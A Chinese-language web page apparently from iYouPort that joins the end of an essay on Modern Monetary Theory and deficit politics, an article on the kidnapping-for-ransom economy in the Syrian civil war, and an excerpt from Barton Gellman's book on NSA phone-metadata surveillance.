这在2008年经济崩溃后变得更加明显，当时美联储介入，确保那些几乎完全摧毁了经济的金融利益集团 —— 美国银行、花旗集团、AIG、高盛等 —— 会得到拯救，而大量被取消抵押品赎回权的房主会被晾在一边。今天又可以看到，美联储和财政部联手放贷和花钱 —— 扶持大公司和那些可以跳过官僚主义圈子获得 “可宽恕贷款” 的小企业。对学生和其他个人的债务豁免的一般计划，或者对那些无法支付房租或抵押贷款的人进行救济，他们就说：嗯，“这些都是比较棘手的命题”。

对我来说，这就是 “现代货币理论” 的重要之处：它提出了这样一个

论点，即 无论在顺境还是逆境，它都是这样运作的。我们作为一个国家所做的关于谁兴旺谁失败的决定，并不是源于某种不可改变的经济规律。当然，没有任何经济理论可以证明联邦政府的反应是合理的，可以拯救一个银行巨头，但不能拯救一群乡村医院；没有任何理性的经济论证可以证明，多花几十亿美元为警察部门购买战斗机或军用型装备，比把同样的钱花在公立学校和教师工资上更好。也就是说，现在最重要的钱的问题不是关于货币的问题，甚至不是关于税收的问题，而是关于政府支出和公共债务的问题。这正是斯蒂芬妮·凯尔顿在《赤字神话》一书中探讨的问题：我们是如何让自己被“严肃的人”所迷惑的，以至于我们甚至无法聪明地谈论国家实际运作的政治经济？

读了凯尔顿的书，我发现自己回想起了我人生中一段不幸的时光，当时，作为一名德州的记者，我不得不关注一位名叫菲尔·格拉姆的德州参议员。他把自己想象成“下一个罗纳德·里根”，1996年花了2100多万美元竞选共和党的总统提名，最终在爱荷华州的党团选举中名列第五，然后退出。格拉姆在记者中是出了名的，他用缓慢的抽泣声无休止地重复着一个寓言，说的是得克萨斯州梅西亚镇一个名叫迪基·弗拉特的选民。有一次记者问他，他如何决定在联邦预算中什么值得资助。“嗯，我用的是迪基·弗拉特测试”，格拉姆解释说。弗拉特是一个“为生活而努力工作”的印刷商。这句话似乎从来没有变过：“尽管他很努力，但他从来没有完全把指尖上的蓝色墨水弄掉”。 1992年，格拉姆在休斯敦的共和党全国代表大会上的讲话中是这样说的：

我看了联邦政府的每一个项目，然后我想到了迪克·弗拉特。我问了一个简单的问题. “把钱花在这个项目上所得到的好处是否值得从迪克·弗拉特身上拿走钱来支付？”让我告诉你吧：没有多少项目能经得起这个测试。

人群欢呼雀跃。格拉姆最后宣称：“当国会开始使用我这个测试时，我们将一劳永逸地解决赤字问题”。

还有什么比这更愚蠢和故意不诚实的谈论政府开支的方式吗? 这就是我们几十年来陷入的讨论水平；它发挥了广泛的无知。格拉姆经常被媒体描述为 ”一个训练有素的经济学家”；在华盛顿的职业生涯中，他在20世纪80年代推动了《格拉姆·拉德曼·霍林斯法案》，该法案试图对联邦预算进行约束，作为右派意识形态的一部分，最终要求平衡预算。当然，保守派发现的是，他们并不真的想加税或削减整体支出。所以他们选择了一种修辞高地的策略 —— 指责对手的政府征税和支出，同时确保他们实际上不必颁布不受欢迎的政策。

然而，华盛顿特区由“修复债务”（Fix the Debt）和“负责任的联邦预算委员会”（CRFB）等团体组成的资金雄厚的机器，却对大多数国会民主党人保持着强大的控制力。对于华盛顿的大部分政治机构来说，凯尔顿书中的分析将像共产党宣言一样具有颠覆性。疫情驱动的支出只是暂时压制了他们的声音。不久之后，他们就会开始为紧缩开支提出论据。他们会说，由于用于拯救经济的资金，可用于人类需求的资金将更少。

全国领先的赤字批评者之一，CRFB的总裁玛雅·麦克吉尼亚斯（Maya MacGuineas）已经发出了警告：“看到财政部确认国家将在短短几个月内借入3万亿美元，应该是对未来几轮援助中的浪费性开支的警告，并提醒我们一旦经济完全复苏，债务就必须得到解决”。

回答这种债务恐惧，以及像菲尔·格拉姆这样的骗子所鼓吹的那种故意的无知，只是争取人道社会的一个起点。现代货币理论并没有告诉我们如何达到这个目标 —— 只是告诉我们有一天我们可以达到这个目标。这将需要大规模的组织工作，其规模与19世纪末民粹主义者所尝试的那样。

我试着想象 —— 在大流行病后的未来，如果对民主的信念能在2020年的事件中幸存下来的话 —— 一队演讲者在全国各地巡回演讲，揭露赤字神话，就像凯尔顿揭露它们那样。动员将发生在工会大厅里，在年轻人和债务人中间。它将聚集那些响应桑德斯竞选活动的全民医保请求的人们，以及那些明白我们有能力围绕清洁能源改造经济的人们。它将通过坚持认为该公共资金有数百种更好的用途，与日益增长的反对奢侈资助的警察和军队的愤怒融为一体。

当公民和国会议员们会回答那些陈旧的论点 即 美国无力将其“有限的资源”用于建设一个理智和体面的社会时，我们就会知道反抗开始成功了。“啊，我们现在没钱了”，旧的体制会继续这样说。而答案会是：“没有任何一个严肃的人会相信这一点”。〇

The Money Printers

原文

反对派和巴沙尔政府干着同样的勾当——叙利亚：恐怖主义犯罪 - iYouPort

中东和北非免费书和纪录片

这是一个由谎言、间谍和掩饰构成的行业。政府当局在撒谎，绑匪们不停的敲诈，中间人的葫芦里藏着毒药。只有受害人的家属独自守在边缘的角落里，细数着少得可怜的信息和希望。

「图」

「图」

三个月前的消息：中国计划在叙利亚再投资20亿美元，给基建以及能源行业。根据官方资料，2011年中国向叙利亚出口24亿美元，进口只有3000万美元。中国的中石油、中石化及其下属企业等大型国企，以及三一集团、中兴通讯、华为通讯、长安汽车等重量级民企都在叙利亚当地设有办事处。

四个月前的消息：叙利亚驻中国大使伊玛德穆斯塔法在一项商业研讨会中透露，有至少4000到5000中国人在叙利亚参战，该大使称他们加入了各种不同的反抗叙利亚政府的武装作战。

2015年底，伊斯兰国组织宣布，他们已经杀死了一名中国人质和一名挪威人质，中国人叫“Fan Jinghui”樊京辉，北京市石景山区苹果园南路某小区居民，北京精彩因素广告有限公司法人。

西方国家搞不懂巴沙尔政府是如何在弹尽粮绝的情况下挺到今天的，没错，有老盟友伊朗的力挺，有重要贸易伙伴俄罗斯的维护，有海湾国家的私下捐赠，还有痴迷着“一带一路”的中国政府的投资。

但还有一个更邪门儿的来源，曾经很长时间内被所有人忽视。并且正是包括中国人在内的很多外国人在叙利亚的遭遇背后的原因。

「图」

「图」

巴沙尔的财路

巴沙尔·阿萨德对阿拉伯之春的血腥镇压打开了叙利亚政治暴力的潘多拉魔盒。大批打着“起义”旗号的武装组织纷纷登上了犯罪活动的历史舞台，揭开了一幕幕魔幻的大戏。其中最为主要的犯罪行为就是绑票。

绑架人质、勒索赎金，是维持阿萨德政权的一个主要资金来源，特别是在叛军和圣战分子集中作战的北部地区。在那里，反对派武装挨家挨户的展开搜刮行动，主要目标就是支持大马士革政权的叙利亚平民。而巴沙尔的人，则扮演者黄雀的角色。

2015年，一名以难民身份逃到意大利的叙利亚中产，对媒体讲述了一个这样的故事。他在叙利亚北部阿勒颇附近开了一家冰激凌加工厂，某天早晨他开车去工厂，在厂外的那条街上被警察拦截下来，警察说叛军已经占据了这条街，他不能通过，但并没有说是叙利亚自由军还是圣战分子。那是2012年。

直到次年底，政府军收复了这片区域，他才被允许重新进入自己的工厂。然而，工厂里什么都没有了，“所有东西被叛军洗劫一空”，他说，“我到了警察局想咨询一下，接下来我我该怎么办，是不是能通过什么方法获得些补偿。但他们却把我关进了监狱，指控我支援叛军”。

“监狱里有很多和我差不多的商人，内战让大家失去了一切，最后却被当局指控参与叛乱。他们经常殴打我们，仅仅是为了打发时间。简直就是一场噩梦”，他说。最后，他的家人支付给当局一万美元的赎金，他才被放出来。一出监狱的大门，就直奔欧洲的逃亡之路了。

内战开始之初，阿萨德政府就发现，绑架叙利亚有钱人是个快捷有效的集资方式，可以为内战提供大量资金。巴沙尔手下的警察和军官迅速变身为凶残的绑匪，他们把叙利亚人质关进政府修建的监狱里，在恶劣的条件下严刑拷打。然后，他们假装成叛军或叛军支持者，联系人质的家属，索要赎金，再安排交钱取人。

另一位在丹麦寻求庇护的叙利亚中产哈桑，也回忆了同样的经历。他在阿勒颇经营一间服装厂，2013年的某天，一群全副武装的叙利亚自由军来到他的工厂声称要没收这些厂房，作为他们的医院使用。哈桑反抗无力，被赶了出来。而在路的另一端，他又遭到了警察的拦截。

警察问他发生了什么事，他说叙利亚自由军强占自己的工厂，而警察却说他撒谎，并就此把他关进了监狱，指控其参与暴乱。最后，哈桑的叔叔支付了一万两千美元的赎金给警方，他才获释。

大马士革政府和叛军都会通过绑架有钱人，索要赎金。哈桑说，“出了监狱的门就看到了交钱取人的叔叔，他们没有回家，开车一路向北直接到了土耳其边境。在距离边境几公里的地方，叔叔把他交给了两个阿勒颇人贩子。这两个人贩是反对派武装组织的人，他们收了我叔叔两千美元，把我带上了去欧洲的路”。从此，他再也没见过家人。

「图」

「图」

反对派和巴沙尔政府干着同样的勾当

随着叙利亚内战的进程拉开，各大敌对势力的绑架倾向也迅速明朗了：阿萨德政府倾向绑架叙利亚本国富人和中产阶级，而反对派武装、包括圣战分子，则倾向于绑架那些价值几百万的外国人。这两种猎物都蛮容易到手的。

可以看出，阿萨德政府更注重数量，而反对派更在乎质量。不过偶尔也有例外，有些情况下西方记者落入了阿萨德手中，而抓不到外国人的时候，反对派武装组织就对叙利亚本国人下手了。

2015年2月，瑞典调查记者乔金·麦丁（Joakim Medin）在叙利亚北部的卡米什利（Qamishli）被阿萨德特务机关绑架。当时卡米什利分裂为两部分，一部分由政府军控制，另一部分被库尔德叛军控制，而乔金·麦丁当时正在对库尔德叛军进行战地报道。

某天早晨，他和他的翻译一起准备去采访库尔德的交通警察，经过一个双方势力共同控制的街区时，被政府的巡逻车拦截下来，随后他们被套着黑头套带到了监狱。他的翻译和25个人关在一起，而他这个外国人被单独关押。

三天后，他们被押上一趟班机，麦丁描述说，“飞机上有很多平民，我俩一身脏兮兮、戴着手铐，浑身伤痕，所有人都看着我们，却无人说话”。目的地是大马士革，一落地他们就被关进了**“Unit 300”**，这是一间专门关押间谍的监狱。

“没人知道我被绑架了，没人通知我的家人和瑞典政府”，麦丁说，“从那时起，我在各大监狱里被转来转去，被形形色色的特务机关不停的

盘问，我曾经想着自己可能会在这里结束余生了……”。

麦丁是非常幸运的，库尔德人知道阿萨德的人抓了这个记者后，和政府方面展开了秘密谈判，希望能把麦丁救出来。结果是，库尔德叛军释放了两名被俘的叙利亚高级官员，作为交换条件，把麦丁弄了出来。

多亏他是来采访库尔德武装组织的。别人可就没那么幸运了。

「图」

「图」

绑架者和救人者合演着一出闹剧

西方国家最大的一个误判就是，他们认为叙利亚反对派中存在一部分“温和反对派”，这是个奇怪的冠名，似乎旨在用以区分是不是圣战分子。你以为只有圣战分子才会暴虐？那就大错特错了。

2012年12月，几个武装分子绑架了美国NBC新闻频道的记者理查德·恩格尔（Richard Engel）和他的同事，一共六个人。当时，他们正在叙利亚自由军军官的护送下穿越著名的巴布阿哈瓦边境线（Bad al Hawa）。进入叙利亚境内几公里后，他们被一个检查站拦截下来。

恩格尔说，他们当时误以为那些人是“沙比哈 **Shabiha**”——就是影子部队，伊朗训练出来的什叶派民兵组织，该组织曾专门为叙利亚政界精英们提供毒品和女人，内战爆发后沙比哈民兵成了阿萨德手下的一个死亡小组（或者叫折磨人小组）。

NBC新闻队这六个记者被蒙住双眼，扔进了一间农场，关押了五天。恩格尔描述，这些绑匪表现得很不专业，他们在搜查人质随身物品的时候，居然都没有发现自己触碰到了GPS紧急信号。在美国的NBC总部收到了这个信号，定位出农场的位置。

然而几天后，绑匪们也听到了风声，他们很害怕，准备杀人质撕票逃逸，但被该地区的指挥官阿布·艾曼（Abu Ayman）阻止了这场杀戮。恩格尔说，他是后来才搞明白的，原来当时阿布·艾曼正在和美国政府协商武器事宜，所以他才不希望美国记者死在他的地盘上。

别看这群绑匪技术能力不过关，但很会装，为了让恩格尔等人质认为自己是阿萨德的手下，在美国记者面前他们故意操着一口浓郁的阿拉维派口音说话，而事实上，他们是逊尼派的人。

更离谱的是，六个美国记者被关了五天后，绑匪把他们押上了一辆面包车，称带他们去真主党大本营。但在途中，被一个关卡拦截下来，几声枪响后，他们得救了。救命的那些人自称是叙利亚自由军。恩格尔获救后还在《名利场》上对此发表了一篇感人肺腑的文章，然而，直到2015年，恩格尔他们才搞明白，整个绑架和获救的过程，不过是一个早就安排好的剧本。

在路上营救他们的人和绑架他们的人是同一伙人，阿布·艾曼也知道这个计划，并予以了配合，关押他们的农场主叫艾卓·库萨布，是当地知名暴徒，库萨布自诩叛军领袖，但实际上只是个犯罪团伙头目。

正是这个库萨布，在2014年将两个日本人质——日本著名自由记者后藤健二（ごとう けんじ）和他的朋友汤川遥菜（ゆかわ はるな）——转手卖给了ISIS组织。

众所周知，只有努斯拉阵线或ISIS，才有雄厚的基础资源和设施购买和关押人质，以及维持数个月甚至数年的赎金谈判。于是很多叙利亚绑匪会把人质卖给大型恐怖组织，人们看到的砍头视频，就是这些买了人质的恐怖组织在谈不下赎金的情况下撕票的场景。

叙利亚阿拉伯之春中的“自由战士”只是个充满浪漫主义色彩的虚拟角色，如今的反对派势力正在被圣战分子、年轻暴徒、军阀、犯罪分子充斥着，革命已经成了一个幌子，他们不断寻求的只是金钱和武器。

「图」

「图」

“敌人的敌人”思路害人不浅，欧洲记者和学者两度落难

另两位更倒霉。意大利记者多梅尼克·奎里科（Domenico Quirico）和法国教授皮埃尔·皮奇宁·达普拉塔（Pierre Piccinin da Prata），他俩被绑了两次。

第一次是2013年4月，他们最大的错误和诸多西方国家政府一样，就是太信任反对派了。他们当时把自己的安全托付给了一个叙利亚反叛势力，因此将自己送入了虎口。

在古塞尔（al Qusayr）两个人被阿布·奥玛尔（Abu Omar）的部队绑架，绑匪提出了一千万美元的赎金要求。

阿布奥玛尔这支部队和法鲁克旅（Farouk）有一定联系，而法鲁克旅

是叙利亚自由军的一个分支，组建于2011年，并且当时是最大的反阿萨德政府组织。绑架这俩外国人的旅部则属于反对派中的“温和派”，这个西方国家给搞的误导性概念，真的害死他们了。

他俩不是第一个被叙利亚温和反对派绑架的外国记者和学者，此前已有多次类似事件发生。叙利亚的圣战犯罪活动的行为主体是一些披着非宗教外衣的武装组织，他们都是反对阿萨德的势力，是白宫同意资助的人。

就在NBC新闻人员被绑后的四个月，这位意大利记者和他的法国教授朋友。再一次遭到了绑架。还是阿布·奥玛尔的队伍。

> 意大利记者奎里科在他的书中写道，“他（奥玛尔）的队伍是从当地招募组建起来的，更像一群土匪，绝非伊斯兰教徒或者革命人士。阿布·奥玛尔只不过是给他的犯罪活动泼洒了伊斯兰教的光泽。他与法鲁克部队互相勾结，最后归到了法鲁克靡下。法鲁克旅是叙利亚一支有名的革命军力量，属于叙利亚全国委员会，他们的代表人物近期正在同欧洲政府举行会议……”

奎里科和西方国家政府一样的后知后觉，他们一直不知道，这些人实际上只是一群强盗，打着伊斯兰教的旗帜、高喊革命口号，控制着一片又一片区域，然后就干着敲诈勒索、绑架人口的生意。一切只为了充实自己的口袋。而在包括白宫在内的西方国家政府，都误以为他们是值得信任的“正面力量”。

「图」

「图」

你们看到的新闻是错的

早在2012年，叙利亚反对派势力的一些分支就盯上了外国记者和人道主义援救工作者，这些外国人在他们眼里就是能够快速变现的猎物。

然而很多外国人普遍抱有一种意识：阿萨德政权是坏的，那么每一个反抗他的人就都是好人。西方媒体也普遍的错误连篇，他们总是在推测只有阿萨德的人才会干这种肮脏的勾当。天真的想法一直难以抹去，就连意大利记者奎里科被绑架后也没能敲醒这些媒体。

更加愚蠢至极的是，已经有同行被这些反对派组织绑架了，记者们还

是纷纷把自己的身家性命托付给这些“起义组织”。他们认为叙利亚和伊拉克不一样？

> 意大利Rai广播电台主席马季奥尼（Monica Maggioni）曾说过一段非常真实，但却一点都不讨喜的话：“媒体们对于叙利亚的事态都有自己的立场，在这里他们几乎不会遵守新闻原则，这就是为什么人们看不到对阿萨德政权支持者的报道——也就是说，全世界对叙利亚的理解是严重片面的，如果你只看新闻的话”。

马季奥尼自己就因为两次采访巴沙尔，而在同行中饱受诟病。

选定了自己的立场后，媒体们就不会对在叙利亚的伊斯兰国组织进行报道了，也不会关心他们在反对派中扮演什么样的角色。几乎所有报道都是千篇一律的：叙利亚自由军是一个非宗教性质的武装组织，他们旨在推翻阿萨德的独裁统治……不信你搜搜，网上能见到的的报道大多是这样的口风，尤其欧洲媒体。

叙利亚内战和西班牙内战完全是两码事，前者的叛乱是变异了的恐怖主义犯罪（Criminal jihadism 这词目前已经开始被学界使用了），这是一种现代化现象，钱才是这帮人唯一忠诚的对象。

> 被绑的意大利记者奎里科问绑匪“为什么要这样做”，他说“我们可是叙利亚革命的朋友”。然而绑匪回答：你们这些热心的记者事实上毫无用处，你们的那些报道帮不上任何忙，反对势力需要资金购买食品和武器，用你们能换来数百万的赎金，我们就可以买到需要的东西……

「图」

「图」

明星范儿的恐怖主义犯罪资助人

这些所谓的“温和反对派”武装势力，结构非常复杂，而且处于不断变化中，图表是说不清楚的。2014年起，“温和反对派”就开始接受到了以奥巴马政府为代表的大联盟势力的公开支持，包括军事训练、轰炸行动、武器输入等，也有直接的财政手段。这部分组织变得更加复杂了，成了一个很大的势力网络——个人联盟关系、欺骗关系、临时犯

罪团伙关系、中小型武器组织间的联营关系，这些错综复杂的关系都处于一种政治真空中。

大大小小的团伙只顾不断的从四处吸引资金，要么拉拢赞助者投资，要么通过绑架当地居民或外国人来索取赎金。

前西班牙战斗机飞行员路易斯·穆纳尔（Luis Munar）在2012年时投身到叙利亚，加入了反对派。他说，觉得反对派不会打仗，用他自己的军事知识为那些人培训。当时他加入的就是法鲁克旅，那会儿法鲁克旅的人数已经超过了1.2万。

“我看到阿拉伯人和卡塔尔人送来了大量的美元和土耳其里拉，这些现金被分配到了各个反对派组织手里，其中也包括法鲁克的组织。这些钱先是移交给领导人，然后才下发到战士手里，作为薪水”，穆纳尔写道。

有些时候，那些赞助者们还带着自己的新闻记者朋友和广播电视台员工，一起来送钱，以便宣传他们对叙利亚内战的支持和贡献。穆纳尔写道，由于拍摄真实的战争有一定危险，于是那些战士们就为卡塔尔电视台打了一场假仗——他们在晚上拼命开火，而对面并没有任何敌人。

叙利亚国内外的赞助商们导演了各种宣传大片，误导了所有人，包括西方国家政府。看着画面上那些激动人心的战斗场景和胜利场面，观众们以为反对派正在走向胜利。但实际上，反对派正在沦为恐怖主义犯罪的一盘散沙。

可以说，西方国家的政府和媒体，被他们的海湾同盟和反对派代理人合伙骗了。

资助金一开始数字很大，但面对的是五花八门的反对组织，他们基本就是个无底洞。同时**ISIS**势力正在逐渐强大，于是那些赞助者们决心投资**ISIS**，并停止了对其他反对派组织的资助，包括法鲁克旅。在2013年冬天，西班牙飞行员穆纳尔所在的组织没钱了，于是，绑架生意成为了刚需。

法鲁克旅建立了一个“法鲁克伊斯兰组织”，该组织成为伊斯兰阵线的一部分，这样一来他们再次获得了各类赞助人的青睐。

> 从本质上讲，法鲁克旅根本不是宗教性质组织，虽然有几个战士是信徒，但整体上他们是非宗教组织。然

而，由于薪资的驱动，大量战士在各个组织之间进进出出，哪儿钱多就奔哪儿去。最终，法鲁克旅的所有战士纷纷投入了其他伊斯兰组织，有的去了努斯拉阵线，有的去了ISIS。

「图」

「图」

叙利亚版的“出租车司机”是人贩子的帮凶

在叙利亚，潜在的西方人质都是一些新闻工作者和人道援助者（因为游客不值钱，各国政府和媒体都不怎么关心普通人的生命），当地绑匪拿下人质后，大多会转卖给其他组织，就像ISIS那种付得起钱的组织。

绑架网络已经蔓延到了土耳其，因为土耳其是自北向南到叙利亚的必经之地。记者们常常会在土耳其边境城镇寻找车夫和掮客帮助他们进入叙利亚，于是，那些犯罪分子和反对派武装的人，就会乔装打扮成出租车司机，守在要塞地带等待机会。

他们很有“技巧”，为了拉拢记者他们会有意的投其所好，骗记者们说知道哪里有关于叙利亚的特殊新闻材料。被绑架的美国NBC记者恩格尔，就是这么被骗的——他被乔装者告知，可以带他们去拍摄被叙利亚自由军俘虏的4名伊朗士兵和2名黎巴嫩士兵——如果这事是真的，就太有价值了，足够找到伊朗政府和黎巴嫩武装组织支持阿萨德和他的死亡小组的证据。

可惜是假的。记者们被用这种方法，纷纷落入了圈套。

最容易被骗的是那些没经验的记者，然而就像奎里科、NBC新闻组这样的老牌资深记者，也不大容易逃离魔掌。法国广播电视台53岁的的老记者迪迪埃·弗朗索瓦（Didier Francois）2013年在拉卡落到入了ISIS之手。与他一同被绑架的还有另外三名记者：美国记者詹姆斯·弗利、法国记者尼古拉斯·埃宁、和皮埃尔·托雷斯。

当时带领他们进入叙利亚境内的就是一名乔装的出租车司机，此人名叫穆卡达德（Omar al Muqdad），这些外国记者被带到了绑匪包围圈里。绑匪把司机放走了。而在那一年之后，也是这个穆卡达德，把两个日本记者带到了叙利亚境内，之后日本人在不同地点被绑架。

「图」

「图」

绑架经济学

在2012年，当叙利亚刚刚掀起绑架外国人的热潮时，所有参与绑架的犯罪团伙和恐怖组织都还不具备展开人质谈判的软件和硬件设施，甚至很多团伙都没人会用外语交流，于是他们只能向那些有文化的或有人脉的叙利亚人寻求帮助，

绑匪把人质的信息发给那些帮手，然后这些帮手就扮演起了谈判家和翻译官的角色，代表绑匪与受害人家属及政府之间周旋。

绑匪们的目的就是尽快的完成交易，一单绑架生意的周期最多几周，这一时期内发生的绑架案如果人质方面反应够快，就能在几天内被释放，而且赎金很低也就几千美元。相反，如果没有能快速处理，遇到了扯皮的外国政府，那就麻烦了，人质会被转卖出去、或者交换出去，最后落到大型恐怖组织手里，比如基地组织和ISIS。

政府的内讧是人质危险的一个关键。美国人道主义救援者凯拉米勒最终就死于华盛顿的官僚主义——国务院和FBI竞争管辖、CIA和白宫争论决议权，负责谈判的NGO只能不停地辗转于各种官方会议，待到他们最终统一意见时，一切都太晚了……凯拉米勒的网络博客名叫“满怀希望”（Imbued with Hope）.

2014年，两位来自意大利的女性人道主义援助者，在阿勒颇被绑架，由于意大利危机处理部门反应太慢了，绑匪把她们卖给了努斯拉阵线，后续则是努斯拉阵线和意大利政府之间的谈判。最终，意大利给每个人质支付了一千三百万欧元的赎金。

这是个神奇的漩涡：一方面，如果不交钱，人质肯定会死，杀戮人质的视频还会成为恐怖组织对外宣传的绝佳材料；另方面，如果支付了赎金，就相当于喂养了一群贪婪的黑熊，不是一只是一群，只要价钱的数字传开，所有恐怖组织都会知道哪个政府比较肥且容易勒索，于是该国的民众就将成为绑匪的“重点资源”——投掷食物反而引来更多的黑熊。

目前为止，意大利是给钱最多的国家，也就是为什么过去15年内，大量的意大利公民被绑架。

很多政府不愿意支付赎金，比如英国和美国，英美政府认为支付赎金的行为无疑会助长恐怖组织的扩大，其中ISIS的壮大，除了石油资源

之外，几乎全部是靠绑架人质获得的资金。

中国政府是鸡贼心理，他们基本不会对给不给钱这件事正式表态，而是以“正在调查”为由拖延时间，以观望局势。当时樊京辉成为 ISIS 的人质时，另一个人质所属的挪威政府就立刻公开宣称不会支付赎金，而中国政府绕开了这个左右不是人的道德漩涡。

很多欧洲国家政府也不愿意支付赎金，他们的方法是公开表态“不会用赎金来资助恐怖组织”，但他们的情报部门和特工会私下以民间募集的幌子筹到钱把人质弄回来，与此同时，政府方面会堵住人质家属的嘴，让他们不要接触任何媒体，不要告诉任何人关于赎人的事。但这种方法的负效应也很大，最关键的一点就是太慢，谈判和筹钱拉长了人质被关押的时间，于是恐怖组织的要价是非常高的，时间越长赎金越贵，最终则是花了更多的钱，也就是让恐怖组织捞到了更多的利益。

其实对绑匪来说，普通记者的价值不大，一般为几十万美元的赎金。因为很少有人关心那些普通记者的死活，除非这些记者持有的是法国德国美国这样的大国护照，这些大国的人质一般会被大型恐怖组织买走，比如努斯拉阵线、ISIS、伊斯兰马格里布基地组织等。更，那些欧洲政府害怕公众舆论，往往更容易拿到钱——有些时候赎金能谈到天价，足以改变一个地方的经济状况。

绑匪、尤其是那些大型恐怖组织，他们一般不怕拖延时间，而当地人还非常乐于这种拖延，因为包括人质、谈判家在内的很多人，在这段时间内都能给该地区带来经济利益，拖的时间越长，他们的生意就越有得做，比如谈判家需要最好的司机、最可靠的中间人或消息人士，那么他们就要支付高额的价钱。供需关系是一条金科玉律。绑架产业链的尾部之巨大超乎你的想象。

「图」

「图」

全球化的阴暗面

最后这段算是顺便说的吧……

这个世界上很多地方，绑架被视为一种均衡财富分配的机制——把富裕的西方国家的财富分配到地球上其他贫困地区。这种游戏规则和华尔街适用的规则很相似。人质成了金融工具，专门用以启动某项复杂

的投资计划，而这些投资计划往往回报丰厚，资本回报率远远超过劳动回报率。

连绑匪处理谈判的方式也跟股票市场交易差不多：考虑到不同国籍、不同职业、不同时间段，人质作为一种商品所具有的交易价值是完全不同的。就像股票经理估算股价一样，劫匪们在敲定赎金之前也会做大量的类似工作。

在过去十年里，绑架事件的的徒增已经成为了一个时代性的标志。绑架生意如毒瘤一般扩散：由于巨大的利益驱动，西方人质被频繁地劫走，投机者、土匪、腐败的中间人和政府官员，等许许多多想从中分一杯羹的人，把这项生意捧成了一个全球性的“第四产业”。

冷战和全球化对绑架危机的产生有着不可推卸的责任。绑架活动在全球最快速增长的区域有两个特点：要么是正在逐渐瓦解的国家，要么是经济飞速增长的国家和地区。可以说，无政府状态和经济繁荣共同促成了绑架行业的诞生。一切源于贪婪。

推荐半岛电视台拍摄的纪录片《人质业务（The Hostage Business）》,片中写道：这是一个由谎言、间谍和掩饰构成的行业。政府当局在撒谎，绑匪们不停的敲诈，中间人的葫芦里藏着毒药。只有受害人的家属独自守在边缘的角落里，细数着少得可怜的信息和希望。〇

原文

国安局用于映射社交网络的秘密工具究竟是什么样的：一本2020新书的摘录《黑镜》 - iyouport

免费书和纪录片

【2020年9月10日存档】这本书是2020年的新书，其中揭示了很多您很可能还尚未知晓的背景信息。

我们已经上传了这本书在频道，您可以在这里下载：

想必大家都看过著名的纪录片《第四公民》，知道了斯诺登当时将那些绝密文件交给了三个人：Barton Gellman、Laura Poitras、和 Glenn Greenwald。

这本书的作者就是 Barton Gellman。

目前斯诺登文件由于多种原因，报道已经中断，您可以在这里看到已经披露的部分的中文版汇总分析《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》。

这本书是2020年的新书，Gellman 在其中揭示了很多您很可能还尚未知晓的背景信息。您可以在这里下载这本书：https://www.patreon.com/posts/hei-jing-40000290

在2013年的夏天，我花了很多时间筛选斯诺登曝光的绝密文件档案，这些档案曾交到美国记者手中。

其中一份文件于2013年6月首次公开，显示NSA正在追踪美国人在境内进行的数十亿次电话通话。这个大规模监视程序已经臭名昭著，但是，其完整的故事并没有被公众所知晓。

最初的记载只揭示了该监视项目的冰山一角。即 如果您拨打了本地或国际电话，则国安局将存储您拨打的号码以及通话的日期、时间和持续时长。这是对本国人的监视，简单明了。

该监视项目被曝光后，国安局对侵犯人权的指责完全不屑一顾。该机构说，它仅收集“元数据”，而不收集电话的内容。它说，仅在极少数情况下，它才在记录中搜索恐怖分子之间的联系。

我决定更深入地研究。公开辩论中缺少重要信息。我想到我甚至不知道这些记录是什么样的。

最初，我以简单的列表的形式来想象它们。

我以为国家安全局（NSA）整理了某种清单 —— 日期在这里，通话时间在那里 —— 并将其转换为该机构首选的“原子信号情报数据格式”。否则还可以怎么样呢 …… 没想到 ……

在7月的阿斯彭安全论坛（Aspen Security Forum）上的一次对话中，那是斯诺登首次披露情报的六周后、以及波士顿马拉松爆炸案发生的三个月后，前国家情报总监 Dennis Blair 上将向我保证，这些记录是“存储状态”，没有动过，直到波士顿爆炸事件。

即使按照这种说法，收集的规模也让人想起法律学者 Paul Ohm 参加写过的一段话。他写道，任何数量充足的信息都相当于一个“毁灭性的数据库”。它拥有个人秘密，“如果被披露，将不仅仅是造成尴尬或耻辱；它将导致严重的、具体的、毁灭性的伤害”。”

他写道，在发达国家，几乎任何人“都可以与计算机数据库中的至少一个事实联系起来，而对手可以利用这些事实进行勒索、歧视、骚扰、及财务或身份盗窃”。例如，“过去的行为、健康或家庭阴暗面”的披露，可能会使一个人失去婚姻、事业、合法住所、甚至人身安全。

仅仅是建立这样一个数据库，尤其是秘密建立这样一个数据库，就已经深刻地改变了政府与被统治者之间的权力平衡。这就是黑镜的体现，玻璃的一面是透明的，另一面则是漆黑的。

如果权力的含义似乎不能让人信服，可以试着在脑海中颠倒一下这种关系。试想，如果一小群公民拥有秘密访问电话记录和政府官员的真实社交网络的权力？这种特权知识会如何影响他们改变现实的权力？如果他们拥有羞辱和破坏当权者事业的手段，他们会怎么做？

能力永远是重要的，不管它是否被使用。

一把未发射的枪，在拔出之前，其杀伤力并不低。

而事实上，从历史中你就能看出，能力并不是长期不用的。契诃夫对剧作家的著名告诫，不仅在戏剧中，而且在人类的生活经验中也是恰如其分：第一幕中展示的枪，必然在最后一幕中发射。

新发明的潜在力量，无论有多么的令人厌恶，都不会永远沉睡在政府的军械库中。

这些可以说是抽象的问题，但我认为这些问题是很现实的。到了当年9月我才恍然大悟，原来还有一些具体的问题我还没有充分探讨。

这些电话记录究竟存放在国家安全局内部的何处？在哪里究竟是如何被处理的？这些斯诺登文件中没有直接回答的问题，但是有线索。

我在那个月的下旬偶然发现了第一个线索。我对 NSA 关于 “批量收集”（即整个收集大量数据集）的内部对话产生了兴趣。

电话记录只是几种类型之一。该机构在挖掘和吞噬公民的全部信息方面已经变得越来越娴熟，富有创造力。

最近，国家安全局（NSA）开始发现自己已经吸取了太多信息，已经无法消化。中层管理人员和工程师在简报中敲响了警钟。一份文档的封面上写着 “Is It the End of the SIGINT World as We Have Come to Know It?” 作者试图保持一种平淡的口气，也没有给出答案。看起来监视基础设施的工作压力很大。

有一个名字引起了我的注意，在一张图表上，列出了风险最高的系统：Mainway。我知道这个名字。国家安全局的工程师在2001年9月11日之后紧急建造了 Mainway。

副总统迪克-切尼的办公室起草了由乔治-W-布什总统签署的命令 ——做一些国家安全局从未做过的事。这项被法规禁止的任务是追踪美国人在美国领土上拨打和接听的电话。由此产生的行动是无法无天的前兆。我现在看到了更广泛的行动。

